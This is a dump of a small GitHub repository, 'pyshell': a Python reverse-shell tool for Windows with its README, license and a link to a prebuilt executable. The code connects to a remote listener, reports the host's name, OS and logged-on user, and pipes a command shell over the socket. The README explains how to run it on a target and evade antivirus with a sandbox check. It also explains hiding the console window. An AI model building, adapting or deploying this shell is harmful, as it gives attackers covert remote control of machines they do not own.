├── LICENSE ├── README.md ├── pyshell.exe └── pyshell.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 InitString 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | A simple binary to get reverse shells on Windows machines. Like netcat but unknown for now by "next-gen" AV (lol). 3 | 4 | Simply execute the exe on the target box with two arguments as follows. First, set up a nc listener on your machine. 5 | ``` 6 | pyshell.exe 7 | ``` 8 | 9 | NOTE: There is a line in the code to look for the specific binary name as sys.argv(0). This is in hopes of avoiding some AV sandboxes. If you renamed the binary without building your own, it probably won't work. 10 | 11 | # Building a new exe 12 | You'll need to use a Windows host to generate the exe after modifying the Python source. 13 | 14 | **Requirements** 15 | - Python 3.x 16 | - pyinstaller installed using `pip install pyinstaller` 17 | 18 | **Building the exe**
19 | Run pyinstaller like the following to package the required DLLs: 20 | ``` 21 | pyinstaller -F pyshell.py 22 | ``` 23 | This should create a `dist` folder in your current directory with the new executable. 24 | 25 | You can add the '--noconsole' swich when building to not display a console on the target. You can also hard-code the IP and Port into the Python script before building if you'd like a version that requires no arguments. Don't forget to get rid of argparse completely if you do so. 26 | 27 | # Shout out 28 | This thread: https://stackoverflow.com/questions/37991717/python-windows-reverse-shell-one-liner 29 | -------------------------------------------------------------------------------- /pyshell.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/initstring/pyshell/198eef1fa9590348c1d8e5b5ae58892f1d796bcb/pyshell.exe -------------------------------------------------------------------------------- /pyshell.py: -------------------------------------------------------------------------------- 1 | import os,socket,subprocess,threading,sys,platform,argparse; 2 | from time import sleep 3 | 4 | # Handle arguments before moving on.... 5 | parser = argparse.ArgumentParser() 6 | parser.add_argument('ip', type=str, help='IP address of remote machine', action='store') 7 | parser.add_argument('port', type=str, help='Listening port of remote machine', action='store') 8 | args = parser.parse_args() 9 | 10 | ip = str(args.ip) 11 | port = int(args.port) 12 | 13 | def control(s,p): 14 | while True: 15 | data = s.recv(1024) 16 | if not data: 17 | os._exit(1) 18 | if 'exit' in data.decode('utf-8'): 19 | os._exit(1) 20 | else: 21 | p.stdin.write(data) 22 | p.stdin.flush() 23 | 24 | def read_stdout(s,p): 25 | while True: 26 | line = p.stdout.readline() 27 | s.send(line) 28 | 29 | def read_stderr(s,p): 30 | while True: 31 | line = p.stderr.readline() 32 | s.send(line) 33 | 34 | def get_sysinfo(): 35 | try: 36 | platform = str(sys.getwindowsversion()) 37 | hostname = socket.gethostname() 38 | userDomain = os.environ['USERDOMAIN'] 39 | userName = os.environ['USERNAME'] 40 | message = "\n\n**********\n" 41 | message += "Connection received from " + hostname + "\n" 42 | message += "Operating System info: " + platform + "\n" 43 | message += "Logged on user: " + userDomain + "\\" + userName + "\n" 44 | message += "Have fun! Send 'exit' to terminate the connection.\n" 45 | message += "**********\n\n" 46 | message = str.encode(message) 47 | except: 48 | message = "\n\n**********\n" 49 | message += "Have fun! Send 'exit' to terminate the connection.\n" 50 | message += "**********\n\n" 51 | return message 52 | 53 | 54 | def av_sandbox(): 55 | if 'pyshell.exe' not in sys.argv[0] and 'pyshell.py' not in sys.argv[0]: 56 | sleep(5) 57 | os._exit(1) 58 | 59 | def start_threads(s,p): 60 | control_thread = threading.Thread(target=control, args=[s, p]) 61 | control_thread.daemon = True 62 | control_thread.start() 63 | 64 | read_stdout_thread = threading.Thread(target=read_stdout, args=[s, p]) 65 | read_stdout_thread.daemon = True 66 | read_stdout_thread.start() 67 | 68 | read_stderr_thread = threading.Thread(target=read_stderr, args=[s, p]) 69 | read_stderr_thread.daemon = True 70 | read_stderr_thread.start() 71 | 72 | try: 73 | p.wait() 74 | except KeyboardInterrupt: 75 | os._exit(1) 76 | 77 | def main(): 78 | av_sandbox() 79 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 80 | s.connect((ip,port)) 81 | message = get_sysinfo() 82 | s.send(message) 83 | p=subprocess.Popen(['%COMSPEC%'], shell=True, 84 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 85 | start_threads(s,p) 86 | 87 | 88 | if __name__ == "__main__": 89 | main() 90 | --------------------------------------------------------------------------------